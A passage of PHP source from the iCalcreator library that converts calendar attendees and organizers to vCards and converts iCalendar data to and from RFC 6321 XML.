  $name   = $person = substr( $email, 0, $pos );
  if( ctype_upper( $name ) || ctype_lower( $name ))
    $name = array( $name );
  else {
    if( FALSE !== ( $pos = strpos( $name, '.' ))) {
      $name = explode( '.', $name );
      foreach( $name as $k => $part )
        $name[$k] = ucfirst( $part );
    }
    else { // split camelCase
      $chars = $name;
      $name  = array( $chars[0] );
      $k     = 0;
      $x     = 1;
      while( FALSE !== ( $char = substr( $chars, $x, 1 ))) {
        if( ctype_upper( $char )) {
          $k += 1;
          $name[$k] = '';
        }
        $name[$k]  .= $char;
        $x++;
      }
    }
  }
  $nl     = "\r\n";
  $FN     = 'FN:'.implode( ' ', $name ).$nl;
  $name   = array_reverse( $name );
  $N      = 'N:'.array_shift( $name );
  $scCnt  = 0;
  while( NULL != ( $part = array_shift( $name ))) {
    if(( '4.0' != $version ) || ( 4 > $scCnt ))
      $scCnt += 1;
    $N   .= ';'.$part;
  }
  while(( '4.0' == $version ) && ( 4 > $scCnt )) {
    $N   .= ';';
    $scCnt += 1;
  }
  $N     .= $nl;
  $EMAIL  = 'EMAIL:'.$email.$nl;
           /* create vCard */
  $vCard  = 'BEGIN:VCARD'.$nl;
  $vCard .= "VERSION:$version$nl";
  $vCard .= 'PRODID:-//kigkonsult.se '.ICALCREATOR_VERSION."//$nl";
  $vCard .= $N;
  $vCard .= $FN;
  $vCard .= $EMAIL;
  $vCard .= 'REV:'.gmdate( 'Ymd\THis\Z' ).$nl;
  $vCard .= 'END:VCARD'.$nl;
            /* save each vCard as (unique) single file */
  if( $directory ) {
    $fname = $directory.preg_replace( '/[^a-z0-9.]/i', '', $email );
    $cnt   = 1;
    $dbl   = '';
    while( is_file ( $fname.$dbl.'.'.$ext )) {
      $cnt += 1;
      $dbl = "_$cnt";
    }
    if( FALSE === file_put_contents( $fname, $fname.$dbl.'.'.$ext ))
      return FALSE;
    return TRUE;
  }
            /* return vCard */
  else
    return $vCard;
}
/**
 * convert ATTENDEEs, CONTACTs and ORGANIZERs (in email format) to vCards
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.12.2 - 2012-05-07
 * @param object $calendar, iCalcreator vcalendar instance reference
 * $param string $version, vCard version (default 2.1)
 * $param string $directory, where to save vCards (default FALSE)
 * $param string $ext, vCard file extension (default 'vcf')
 * @return mixed
 */
function iCal2vCards( & $calendar, $version='2.1', $directory=FALSE, $ext='vcf' ) {
  $hits   = array();
  $vCardP = array( 'ATTENDEE', 'CONTACT', 'ORGANIZER' );
  foreach( $vCardP as $prop ) {
    $hits2 = $calendar->getProperty( $prop );
    foreach( $hits2 as $propValue => $occCnt ) {
      if( FALSE === ( $pos = strpos( $propValue, '@' )))
        continue;
      $propValue = str_replace( 'MAILTO:', '', $propValue );
      if( isset( $hits[$propValue] ))
        $hits[$propValue] += $occCnt;
      else
        $hits[$propValue]  = $occCnt;
    }
  }
  if( empty( $hits ))
    return FALSE;
  ksort( $hits );
  $output   = '';
  foreach( $hits as $email => $skip ) {
    $res = iCal2vCard( $email, $version, $directory, $ext );
    if( $directory && !$res )
      return FALSE;
    elseif( !$res )
      return $res;
    else
      $output .= $res;
  }
  if( $directory )
    return TRUE;
  if( !empty( $output ))
    return $output;
  return FALSE;
}
/*********************************************************************************/
/*          iCalcreator XML (rfc6321) helper functions                           */
/*********************************************************************************/
/**
 * format iCal XML output, rfc6321, using PHP SimpleXMLElement
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.22 - 2013-06-27
 * @param object $calendar, iCalcreator vcalendar instance reference
 * @return string
 */
function iCal2XML( & $calendar ) {
            /** fix an SimpleXMLElement instance and create root element */
  $xmlstr       = '<?xml version="1.0" encoding="utf-8"?><icalendar xmlns="urn:ietf:params:xml:ns:icalendar-2.0">';
  $xmlstr      .= '<!-- created '.date( 'Ymd\THis\Z', time());
  $xmlstr      .= ' utilizing kigkonsult.se '.ICALCREATOR_VERSION.' iCal2XMl (rfc6321) -->';
  $xmlstr      .= '</icalendar>';
  $xml          = new SimpleXMLElement( $xmlstr );
  $vcalendar    = $xml->addChild( 'vcalendar' );
            /** fix calendar properties */
  $properties   = $vcalendar->addChild( 'properties' );
  $calProps     = array( 'version', 'prodid', 'calscale', 'method' );
  foreach( $calProps as $calProp ) {
    if( FALSE !== ( $content = $calendar->getProperty( $calProp )))
      _addXMLchild( $properties, $calProp, 'text', $content );
  }
  while( FALSE !== ( $content = $calendar->getProperty( FALSE, FALSE, TRUE )))
    _addXMLchild( $properties, $content[0], 'unknown', $content[1]['value'], $content[1]['params'] );
  $langCal = $calendar->getConfig( 'language' );
            /** prepare to fix components with properties */
  $components   = $vcalendar->addChild( 'components' );
            /** fix component properties */
  while( FALSE !== ( $component = $calendar->getComponent())) {
    $compName   = $component->objName;
    $child      = $components->addChild( $compName );
    $properties = $child->addChild( 'properties' );
    $langComp   = $component->getConfig( 'language' );
    $props      = $component->getConfig( 'setPropertyNames' );
    foreach( $props as $prop ) {
      switch( strtolower( $prop )) {
        case 'attach':          // may occur multiple times, below
          while( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE ))) {
            $type = ( isset( $content['params']['VALUE'] ) && ( 'BINARY' == $content['params']['VALUE'] )) ? 'binary' : 'uri';
            unset( $content['params']['VALUE'] );
            _addXMLchild( $properties, $prop, $type, $content['value'], $content['params'] );
          }
          break;
        case 'attendee':
          while( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE ))) {
            if( isset( $content['params']['CN'] ) && !isset( $content['params']['LANGUAGE'] )) {
              if( $langComp )
                $content['params']['LANGUAGE'] = $langComp;
              elseif( $langCal )
                $content['params']['LANGUAGE'] = $langCal;
            }
            _addXMLchild( $properties, $prop, 'cal-address', $content['value'], $content['params'] );
          }
          break;
        case 'exdate':
          while( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE ))) {
            $type = ( isset( $content['params']['VALUE'] ) && ( 'DATE' == $content['params']['VALUE'] )) ? 'date' : 'date-time';
            unset( $content['params']['VALUE'] );
            _addXMLchild( $properties, $prop, $type, $content['value'], $content['params'] );
          }
          break;
        case 'freebusy':
          while( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE ))) {
            if( is_array( $content ) && isset( $content['value']['fbtype'] )) {
              $content['params']['FBTYPE'] = $content['value']['fbtype'];
              unset( $content['value']['fbtype'] );
            }
            _addXMLchild( $properties, $prop, 'period', $content['value'], $content['params'] );
          }
          break;
        case 'request-status':
          while( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE ))) {
            if( !isset( $content['params']['LANGUAGE'] )) {
              if( $langComp )
                $content['params']['LANGUAGE'] = $langComp;
              elseif( $langCal )
                $content['params']['LANGUAGE'] = $langCal;
            }
            _addXMLchild( $properties, $prop, 'rstatus', $content['value'], $content['params'] );
          }
          break;
        case 'rdate':
          while( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE ))) {
            $type = 'date-time';
            if( isset( $content['params']['VALUE'] )) {
              if( 'DATE' == $content['params']['VALUE'] )
                $type = 'date';
              elseif( 'PERIOD' == $content['params']['VALUE'] )
                $type = 'period';
            }
            unset( $content['params']['VALUE'] );
            _addXMLchild( $properties, $prop, $type, $content['value'], $content['params'] );
          }
          break;
        case 'categories':
        case 'comment':
        case 'contact':
        case 'description':
        case 'related-to':
        case 'resources':
          while( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE ))) {
            if(( 'related-to' != $prop ) && !isset( $content['params']['LANGUAGE'] )) {
              if( $langComp )
                $content['params']['LANGUAGE'] = $langComp;
              elseif( $langCal )
                $content['params']['LANGUAGE'] = $langCal;
            }
            _addXMLchild( $properties, $prop, 'text', $content['value'], $content['params'] );
          }
          break;
        case 'x-prop':
          while( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE )))
            _addXMLchild( $properties, $content[0], 'unknown', $content[1]['value'], $content[1]['params'] );
          break;
        case 'created':         // single occurence below, if set
        case 'completed':
        case 'dtstamp':
        case 'last-modified':
          $utcDate = TRUE;
        case 'dtstart':
        case 'dtend':
        case 'due':
        case 'recurrence-id':
          if( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE ))) {
            $type = ( isset( $content['params']['VALUE'] ) && ( 'DATE' == $content['params']['VALUE'] )) ? 'date' : 'date-time';
            unset( $content['params']['VALUE'] );
            if(( isset( $content['params']['TZID'] ) && empty( $content['params']['TZID'] )) || @is_null( $content['params']['TZID'] ))
              unset( $content['params']['TZID'] );
            _addXMLchild( $properties, $prop, $type, $content['value'], $content['params'] );
          }
          unset( $utcDate );
          break;
        case 'duration':
          if( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE )))
            _addXMLchild( $properties, $prop, 'duration', $content['value'], $content['params'] );
          break;
        case 'exrule':
        case 'rrule':
          while( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE )))
            _addXMLchild( $properties, $prop, 'recur', $content['value'], $content['params'] );
          break;
        case 'class':
        case 'location':
        case 'status':
        case 'summary':
        case 'transp':
        case 'tzid':
        case 'uid':
          if( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE ))) {
            if((( 'location' == $prop ) || ( 'summary' == $prop )) && !isset( $content['params']['LANGUAGE'] )) {
              if( $langComp )
                $content['params']['LANGUAGE'] = $langComp;
              elseif( $langCal )
                $content['params']['LANGUAGE'] = $langCal;
            }
            _addXMLchild( $properties, $prop, 'text', $content['value'], $content['params'] );
          }
          break;
        case 'geo':
          if( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE )))
            _addXMLchild( $properties, $prop, 'geo', $content['value'], $content['params'] );
          break;
        case 'organizer':
          if( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE ))) {
            if( isset( $content['params']['CN'] ) && !isset( $content['params']['LANGUAGE'] )) {
              if( $langComp )
                $content['params']['LANGUAGE'] = $langComp;
              elseif( $langCal )
                $content['params']['LANGUAGE'] = $langCal;
            }
            _addXMLchild( $properties, $prop, 'cal-address', $content['value'], $content['params'] );
          }
          break;
        case 'percent-complete':
        case 'priority':
        case 'sequence':
          if( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE )))
            _addXMLchild( $properties, $prop, 'integer', $content['value'], $content['params'] );
          break;
        case 'tzurl':
        case 'url':
          if( FALSE !== ( $content = $component->getProperty( $prop, FALSE, TRUE )))
            _addXMLchild( $properties, $prop, 'uri', $content['value'], $content['params'] );
          break;
      } // end switch( $prop )
    } // end foreach( $props as $prop )
            /** fix subComponent properties, if any */
    while( FALSE !== ( $subcomp = $component->getComponent())) {
      $subCompName  = $subcomp->objName;
      $child2       = $child->addChild( $subCompName );
      $properties   = $child2->addChild( 'properties' );
      $langComp     = $subcomp->getConfig( 'language' );
      $subCompProps = $subcomp->getConfig( 'setPropertyNames' );
      foreach( $subCompProps as $prop ) {
        switch( strtolower( $prop )) {
          case 'attach':          // may occur multiple times, below
            while( FALSE !== ( $content = $subcomp->getProperty( $prop, FALSE, TRUE ))) {
              $type = ( isset( $content['params']['VALUE'] ) && ( 'BINARY' == $content['params']['VALUE'] )) ? 'binary' : 'uri';
              unset( $content['params']['VALUE'] );
              _addXMLchild( $properties, $prop, $type, $content['value'], $content['params'] );
            }
            break;
          case 'attendee':
            while( FALSE !== ( $content = $subcomp->getProperty( $prop, FALSE, TRUE ))) {
              if( isset( $content['params']['CN'] ) && !isset( $content['params']['LANGUAGE'] )) {
                if( $langComp )
                  $content['params']['LANGUAGE'] = $langComp;
                elseif( $langCal )
                  $content['params']['LANGUAGE'] = $langCal;
              }
              _addXMLchild( $properties, $prop, 'cal-address', $content['value'], $content['params'] );
            }
            break;
          case 'comment':
          case 'tzname':
            while( FALSE !== ( $content = $subcomp->getProperty( $prop, FALSE, TRUE ))) {
              if( !isset( $content['params']['LANGUAGE'] )) {
                if( $langComp )
                  $content['params']['LANGUAGE'] = $langComp;
                elseif( $langCal )
                  $content['params']['LANGUAGE'] = $langCal;
              }
              _addXMLchild( $properties, $prop, 'text', $content['value'], $content['params'] );
            }
            break;
          case 'rdate':
            while( FALSE !== ( $content = $subcomp->getProperty( $prop, FALSE, TRUE ))) {
              $type = 'date-time';
              if( isset( $content['params']['VALUE'] )) {
                if( 'DATE' == $content['params']['VALUE'] )
                  $type = 'date';
                elseif( 'PERIOD' == $content['params']['VALUE'] )
                  $type = 'period';
              }
              unset( $content['params']['VALUE'] );
              _addXMLchild( $properties, $prop, $type, $content['value'], $content['params'] );
            }
            break;
          case 'x-prop':
            while( FALSE !== ( $content = $subcomp->getProperty( $prop, FALSE, TRUE )))
              _addXMLchild( $properties, $content[0], 'unknown', $content[1]['value'], $content[1]['params'] );
            break;
          case 'action':      // single occurence below, if set
          case 'description':
          case 'summary':
            if( FALSE !== ( $content = $subcomp->getProperty( $prop, FALSE, TRUE ))) {
              if(( 'action' != $prop ) && !isset( $content['params']['LANGUAGE'] )) {
                if( $langComp )
                  $content['params']['LANGUAGE'] = $langComp;
                elseif( $langCal )
                  $content['params']['LANGUAGE'] = $langCal;
              }
              _addXMLchild( $properties, $prop, 'text', $content['value'], $content['params'] );
            }
            break;
          case 'dtstart':
            if( FALSE !== ( $content = $subcomp->getProperty( $prop, FALSE, TRUE ))) {
              unset( $content['value']['tz'], $content['params']['VALUE'] ); // always local time
              _addXMLchild( $properties, $prop, 'date-time', $content['value'], $content['params'] );
            }
            break;
          case 'duration':
            if( FALSE !== ( $content = $subcomp->getProperty( $prop, FALSE, TRUE )))
              _addXMLchild( $properties, $prop, 'duration', $content['value'], $content['params'] );
            break;
          case 'repeat':
            if( FALSE !== ( $content = $subcomp->getProperty( $prop, FALSE, TRUE )))
              _addXMLchild( $properties, $prop, 'integer', $content['value'], $content['params'] );
            break;
          case 'trigger':
            if( FALSE !== ( $content = $subcomp->getProperty( $prop, FALSE, TRUE ))) {
              if( isset( $content['value']['year'] )   &&
                  isset( $content['value']['month'] )  &&
                  isset( $content['value']['day'] ))
                $type = 'date-time';
              else {
                $type = 'duration';
                if( !isset( $content['value']['relatedStart'] ) || ( TRUE !== $content['value']['relatedStart'] ))
                  $content['params']['RELATED'] = 'END';
              }
              _addXMLchild( $properties, $prop, $type, $content['value'], $content['params'] );
            }
            break;
          case 'tzoffsetto':
          case 'tzoffsetfrom':
            if( FALSE !== ( $content = $subcomp->getProperty( $prop, FALSE, TRUE )))
              _addXMLchild( $properties, $prop, 'utc-offset', $content['value'], $content['params'] );
            break;
          case 'rrule':
            while( FALSE !== ( $content = $subcomp->getProperty( $prop, FALSE, TRUE )))
              _addXMLchild( $properties, $prop, 'recur', $content['value'], $content['params'] );
            break;
        } // switch( $prop )
      } // end foreach( $subCompProps as $prop )
    } // end while( FALSE !== ( $subcomp = $component->getComponent()))
  } // end while( FALSE !== ( $component = $calendar->getComponent()))
  return $xml->asXML();
}
/**
 * Add children to a SimpleXMLelement
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.22 - 2013-06-24
 * @param object $parent,  reference to a SimpleXMLelement node
 * @param string $name,    new element node name
 * @param string $type,    content type, subelement(-s) name
 * @param string $content, new subelement content
 * @param array  $params,  new element 'attributes'
 * @return void
 */
function _addXMLchild( & $parent, $name, $type, $content, $params=array()) {
            /** create new child node */
  $name  = strtolower( $name );
  $child = $parent->addChild( $name );
  if( !empty( $params )) {
    $parameters = $child->addChild( 'parameters' );
    foreach( $params as $param => $parVal ) {
      if( 'VALUE' == $param )
        continue;
      $param = strtolower( $param );
      if( 'x-' == substr( $param, 0, 2  )) {
        $p1 = $parameters->addChild( $param );
        $p2 = $p1->addChild( 'unknown', htmlspecialchars( $parVal ));
      }
      else {
        $p1 = $parameters->addChild( $param );
        switch( $param ) {
          case 'altrep':
          case 'dir':            $ptype = 'uri';            break;
          case 'delegated-from':
          case 'delegated-to':
          case 'member':
          case 'sent-by':        $ptype = 'cal-address';    break;
          case 'rsvp':           $ptype = 'boolean';        break ;
          default:               $ptype = 'text';           break;
        }
        if( is_array( $parVal )) {
          foreach( $parVal as $pV )
            $p2 = $p1->addChild( $ptype, htmlspecialchars( $pV ));
        }
        else
          $p2 = $p1->addChild( $ptype, htmlspecialchars( $parVal ));
      }
    }
  } // end if( !empty( $params ))
  if(( empty( $content ) && ( '0' != $content )) || ( !is_array( $content) && ( '-' != substr( $content, 0, 1 ) && ( 0 > $content ))))
    return;
            /** store content */
  switch( $type ) {
    case 'binary':
      $v = $child->addChild( $type, $content );
      break;
    case 'boolean':
      break;
    case 'cal-address':
      $v = $child->addChild( $type, $content );
      break;
    case 'date':
      if( array_key_exists( 'year', $content ))
        $content = array( $content );
      foreach( $content as $date ) {
        $str = sprintf( '%04d-%02d-%02d', $date['year'], $date['month'], $date['day'] );
        $v = $child->addChild( $type, $str );
      }
      break;
    case 'date-time':
      if( array_key_exists( 'year', $content ))
        $content = array( $content );
      foreach( $content as $dt ) {
        if( !isset( $dt['hour'] )) $dt['hour'] = 0;
        if( !isset( $dt['min'] ))  $dt['min']  = 0;
        if( !isset( $dt['sec'] ))  $dt['sec']  = 0;
        $str = sprintf( '%04d-%02d-%02dT%02d:%02d:%02d', $dt['year'], $dt['month'], $dt['day'], $dt['hour'], $dt['min'], $dt['sec'] );
        if( isset( $dt['tz'] ) && ( 'Z' == $dt['tz'] ))
          $str .= 'Z';
        $v = $child->addChild( $type, $str );
      }
      break;
    case 'duration':
      $output = (( 'trigger' == $name ) && ( FALSE !== $content['before'] )) ? '-' : '';
      $v = $child->addChild( $type, $output.iCalUtilityFunctions::_duration2str( $content ) );
      break;
    case 'geo':
      if( !empty( $content )) {
        $v1 = $child->addChild( 'latitude',  number_format( (float) $content['latitude'],  6, '.', '' ));
        $v1 = $child->addChild( 'longitude', number_format( (float) $content['longitude'], 6, '.', '' ));
      }
      break;
    case 'integer':
      $v = $child->addChild( $type, (string) $content );
      break;
    case 'period':
      if( !is_array( $content ))
        break;
      foreach( $content as $period ) {
        $v1 = $child->addChild( $type );
        $str = sprintf( '%04d-%02d-%02dT%02d:%02d:%02d', $period[0]['year'], $period[0]['month'], $period[0]['day'], $period[0]['hour'], $period[0]['min'], $period[0]['sec'] );
        if( isset( $period[0]['tz'] ) && ( 'Z' == $period[0]['tz'] ))
          $str .= 'Z';
        $v2 = $v1->addChild( 'start', $str );
        if( array_key_exists( 'year', $period[1] )) {
          $str = sprintf( '%04d-%02d-%02dT%02d:%02d:%02d', $period[1]['year'], $period[1]['month'], $period[1]['day'], $period[1]['hour'], $period[1]['min'], $period[1]['sec'] );
          if( isset($period[1]['tz'] ) && ( 'Z' == $period[1]['tz'] ))
            $str .= 'Z';
          $v2 = $v1->addChild( 'end', $str );
        }
        else
          $v2 = $v1->addChild( 'duration', iCalUtilityFunctions::_duration2str( $period[1] ));
      }
      break;
    case 'recur':
      foreach( $content as $rulelabel => $rulevalue ) {
        $rulelabel = strtolower( $rulelabel );
        switch( $rulelabel ) {
          case 'until':
            if( isset( $rulevalue['hour'] ))
              $str = sprintf( '%04d-%02d-%02dT%02d:%02d:%02dZ', $rulevalue['year'], $rulevalue['month'], $rulevalue['day'], $rulevalue['hour'], $rulevalue['min'], $rulevalue['sec'] );
            else
              $str = sprintf( '%04d-%02d-%02d', $rulevalue['year'], $rulevalue['month'], $rulevalue['day'] );
            $v = $child->addChild( $rulelabel, $str );
            break;
          case 'bysecond':
          case 'byminute':
          case 'byhour':
          case 'bymonthday':
          case 'byyearday':
          case 'byweekno':
          case 'bymonth':
          case 'bysetpos': {
            if( is_array( $rulevalue )) {
              foreach( $rulevalue as $vix => $valuePart )
                $v = $child->addChild( $rulelabel, $valuePart );
            }
            else
              $v = $child->addChild( $rulelabel, $rulevalue );
            break;
          }
          case 'byday': {
            if( isset( $rulevalue['DAY'] )) {
              $str  = ( isset( $rulevalue[0] )) ? $rulevalue[0] : '';
              $str .= $rulevalue['DAY'];
              $p    = $child->addChild( $rulelabel, $str );
            }
            else {
              foreach( $rulevalue as $valuePart ) {
                if( isset( $valuePart['DAY'] )) {
                  $str  = ( isset( $valuePart[0] )) ? $valuePart[0] : '';
                  $str .= $valuePart['DAY'];
                  $p    = $child->addChild( $rulelabel, $str );
                }
                else
                  $p    = $child->addChild( $rulelabel, $valuePart );
              }
            }
            break;
          }
          case 'freq':
          case 'count':
          case 'interval':
          case 'wkst':
          default:
            $p = $child->addChild( $rulelabel, $rulevalue );
            break;
        } // end switch( $rulelabel )
      } // end foreach( $content as $rulelabel => $rulevalue )
      break;
    case 'rstatus':
      $v = $child->addChild( 'code', number_format( (float) $content['statcode'], 2, '.', ''));
      $v = $child->addChild( 'description', htmlspecialchars( $content['text'] ));
      if( isset( $content['extdata'] ))
        $v = $child->addChild( 'data', htmlspecialchars( $content['extdata'] ));
      break;
    case 'text':
      if( !is_array( $content ))
        $content = array( $content );
      foreach( $content as $part )
        $v = $child->addChild( $type, htmlspecialchars( $part ));
      break;
    case 'time':
      break;
    case 'uri':
      $v = $child->addChild( $type, $content );
      break;
    case 'utc-offset':
      if( in_array( substr( $content, 0, 1 ), array( '-', '+' ))) {
        $str     = substr( $content, 0, 1 );
        $content = substr( $content, 1 );
      }
      else
        $str     = '+';
      $str .= substr( $content, 0, 2 ).':'.substr( $content, 2, 2 );
      if( 4 < strlen( $content ))
        $str .= ':'.substr( $content, 4 );
      $v = $child->addChild( $type, $str );
      break;
    case 'unknown':
    default:
      if( is_array( $content ))
        $content = implode( '', $content );
      $v = $child->addChild( 'unknown', htmlspecialchars( $content ));
      break;
  }
}
/**
 * parse xml file into iCalcreator instance
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.22 - 2013-06-18
 * @param  string $xmlfile
 * @param  array  $iCalcfg iCalcreator config array (opt)
 * @return mixediCalcreator instance or FALSE on error
 */
function XMLfile2iCal( $xmlfile, $iCalcfg=array()) {
  if( FALSE === ( $xmlstr = file_get_contents( $xmlfile )))
    return FALSE;
  return xml2iCal( $xmlstr, $iCalcfg );
}
/**
 * parse xml string into iCalcreator instance, alias of XML2iCal
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.22 - 2013-06-18
 * @param  string $xmlstr
 * @param  array  $iCalcfg iCalcreator config array (opt)
 * @return mixed  iCalcreator instance or FALSE on error
 */
function XMLstr2iCal( $xmlstr, $iCalcfg=array()) {
  return XML2iCal( $xmlstr, $iCalcfg);
}
/**
 * parse xml string into iCalcreator instance
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.22 - 2013-06-20
 * @param  string $xmlstr
 * @param  array  $iCalcfg iCalcreator config array (opt)
 * @return mixed  iCalcreator instance or FALSE on error
 */
function XML2iCal( $xmlstr, $iCalcfg=array()) {
  $xmlstr  = str_replace( array( "\r\n", "\n\r", "\n", "\r" ), '', $xmlstr );
  $xml     = XMLgetTagContent1( $xmlstr, 'vcalendar', $endIx );
  $iCal    = new vcalendar( $iCalcfg );
  XMLgetComps( $iCal, $xmlstr );
  unset( $xmlstr );
  return $iCal;
}
/**
 * parse XML string into iCalcreator components
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.22 - 2013-06-20
 * @param object $iCal, iCalcreator vcalendar or component object instance
 * @param string $xml
 * @return bool
 */
function XMLgetComps( $iCal, $xml ) {
  static $comps = array( 'vtimezone', 'standard', 'daylight', 'vevent', 'vtodo', 'vjournal', 'vfreebusy', 'valarm' );
  $sx      = 0;
  while(( FALSE !== substr( $xml, ( $sx + 11 ), 1 )) &&
        ( '<properties>' != substr( $xml, $sx, 12 )) && ( '<components>' != substr( $xml, $sx, 12 )))
    $sx   += 1;
  if( FALSE === substr( $xml, ( $sx + 11 ), 1 ))
    return FALSE;
  if( '<properties>' == substr( $xml, $sx, 12 )) {
    $xml2  = XMLgetTagContent1( $xml, 'properties', $endIx );
    XMLgetProps( $iCal, $xml2 );
    $xml   = substr( $xml, $endIx );
  }
  if( '<components>' == substr( $xml, 0, 12 ))
    $xml     = XMLgetTagContent1( $xml, 'components', $endIx );
  while( ! empty( $xml )) {
    $xml2  = XMLgetTagContent2( $xml, $tagName, $endIx );
    if( in_array( strtolower( $tagName ), $comps ) && ( FALSE !== ( $subComp = $iCal->newComponent( $tagName ))))
      XMLgetComps( $subComp, $xml2 );
    $xml   = substr( $xml, $endIx);
  }
  unset( $xml );
  return $iCal;
}
/**
 * parse XML into iCalcreator properties
 *
 * @author Kjell-Inge Gustafsson, kigkonsult <ical@kigkonsult.se>
 * @since 2.16.21 - 2013-06-23
 * @param  array  $iCal iCalcreator calendar/component instance
 * @param  string $xml
 * @return void
 */
function XMLgetProps( $iCal, $xml) {
  while( ! empty( $xml )) {
    $xml2         = XMLgetTagContent2( $xml, $propName, $endIx );
    $propName     = strtoupper( $propName );
    if( empty( $xml2 ) && ( '0' != $xml2 )) {
      $iCal->setProperty( $propName );
      $xml        = substr( $xml, $endIx);
      continue;
    }
    $params       = array();
    if( '<parameters/>' == substr( $xml2, 0, 13 ))
      $xml2       = substr( $xml2, 13 );
    elseif( '<parameters>' == substr( $xml2, 0, 12 )) {
      $xml3       = XMLgetTagContent1( $xml2, 'parameters', $endIx2 );
      while( ! empty( $xml3 )) {
        $xml4     = XMLgetTagContent2( $xml3, $paramKey, $endIx3 );
        $pType    = FALSE; // skip parameter valueType
        $paramKey = strtoupper( $paramKey );
        if( in_array( $paramKey, array( 'DELEGATED-FROM', 'DELEGATED-TO', 'MEMBER' ))) {
          while( ! empty( $xml4 )) {
            if( ! isset( $params[$paramKey] ))
              $params[$paramKey]   = array( XMLgetTagContent1( $xml4, 'cal-address', $endIx4 ));
            else
              $params[$paramKey][] = XMLgetTagContent1( $xml4, 'cal-address', $endIx4 );
            $xml4     = substr( $xml4, $endIx4 );
          }
        }
        else {
          if( ! isset( $params[$paramKey] ))
            $params[$paramKey]  = html_entity_decode( XMLgetTagContent2( $xml4, $pType, $endIx4 ));
          else
            $params[$paramKey] .= ','.html_entity_decode( XMLgetTagContent2( $xml4, $pType, $endIx4 ));
        }
        $xml3     = substr( $xml3, $endIx3 );
      }
      $xml2       = substr( $xml2, $endIx2 );
    } // if( '<parameters>' == substr( $xml2, 0, 12 ))
    $valueType    = FALSE;
    $value        = ( ! empty( $xml2 ) || ( '0' == $xml2 )) ? XMLgetTagContent2( $xml2, $valueType, $endIx3 ) : '';
    switch( $propName ) {
      case 'CATEGORIES':
      case 'RESOURCES':
        $tValue      = array();
        while( ! empty( $xml2 )) {
          $tValue[]  = html_entity_decode( XMLgetTagContent2( $xml2, $valueType, $endIx4 ));
          $xml2      = substr( $xml2, $endIx4 );
        }
        $value       = $tValue;
        break;
      case 'EXDATE':   // multiple single-date(-times) may exist
      case 'RDATE':
        if( 'period' != $valueType ) {
          if( 'date' == $valueType )
            $params['VALUE'] = 'DATE';
          $t         = array();
          while( ! empty( $xml2 ) && ( '<date' == substr( $xml2, 0, 5 ))) {
            $t[]     = XMLgetTagContent2( $xml2, $pType, $endIx4 );
            $xml2    = substr( $xml2, $endIx4 );
          }
          $value = $t;
          break;
        }
      case 'FREEBUSY':
        if( 'RDATE' == $propName )
          $params['VALUE'] = 'PERIOD';
        $value       = array();
        while( ! empty( $xml2 ) && ( '<period>' == substr( $xml2, 0, 8 ))) {
          $xml3      = XMLgetTagContent1( $xml2, 'period', $endIx4 ); // period
          $t         = array();
          while( ! empty( $xml3 )) {
            $t[]     = XMLgetTagContent2( $xml3, $pType, $endIx5 ); // start - end/duration
            $xml3    = substr( $xml3, $endIx5 );
          }
          $value[]   = $t;
          $xml2      = substr( $xml2, $endIx4 );
        }
        break;
      case 'TZOFFSETTO':
      case 'TZOFFSETFROM':
        $value       = str_replace( ':', '', $value );
        break;
      case 'GEO':
        $tValue      = array( 'latitude' => $value );
        $tValue['longitude'] = XMLgetTagContent1( substr( $xml2, $endIx3 ), 'longitude', $endIx3 );
        $value       = $tValue;
        break;
      case 'EXRULE':
      case 'RRULE':
        $tValue      = array( $valueType => $value );
        $xml2        = substr( $xml2, $endIx3 );
        $valueType   = FALSE;
        while( ! empty( $xml2 )) {
          $t         = XMLgetTagContent2( $xml2, $valueType, $endIx4 );
          switch( $valueType ) {
            case 'freq':
            case 'count':
            case 'until':
            case 'interval':
            case 'wkst':
              $tValue[$valueType] = $t;
              break;
            case 'byday':
              if( 2 == strlen( $t ))
                $tValue[$valueType][] = array( 'DAY' => $t );
              else {
                $day = substr( $t, -2 );
                $key = substr( $t, 0, ( strlen( $t ) - 2 ));
                $tValue[$valueType][] = array( $key, 'DAY' => $day );
              }
              break;
            default:
              $tValue[$valueType][] = $t;
          }
          $xml2      = substr( $xml2, $endIx4 );
        }
        $value       = $tValue;
        break;
      case 'REQUEST-STATUS':
        $tValue      = array();
        while( ! empty( $xml2 )) {
          $t         = html_entity_decode( XMLgetTagContent2( $xml2, $valueType, $endIx4 ));
          $tValue[$valueType] = $t;
          $xml2    = substr( $xml2, $endIx4 );
        }
        if( ! empty( $tValue ))
          $value   = $tValue;
        else
          $value   = array( 'code' => null, 'description' => null );
        break;
      default:
        switch( $valueType ) {
          case 'binary':    $params['VALUE'] = 'BINARY';           break;
          case 'date':      $params['VALUE'] = 'DATE';             break;
          case 'date-time': $params['VALUE'] = 'DATE-TIME';        break;
          case 'text':
          case 'unknown':   $value = html_entity_decode( $value ); break;
        }
        break;
    } // end switch( $propName )
    if( 'FREEBUSY' == $propName ) {
      $fbtype = $params['FBTYPE'];
      unset( $params['FBTYPE'] );
      $iCal->setProperty( $propName, $fbtype, $value, $params );
    }
    elseif( 'GEO' == $propName )
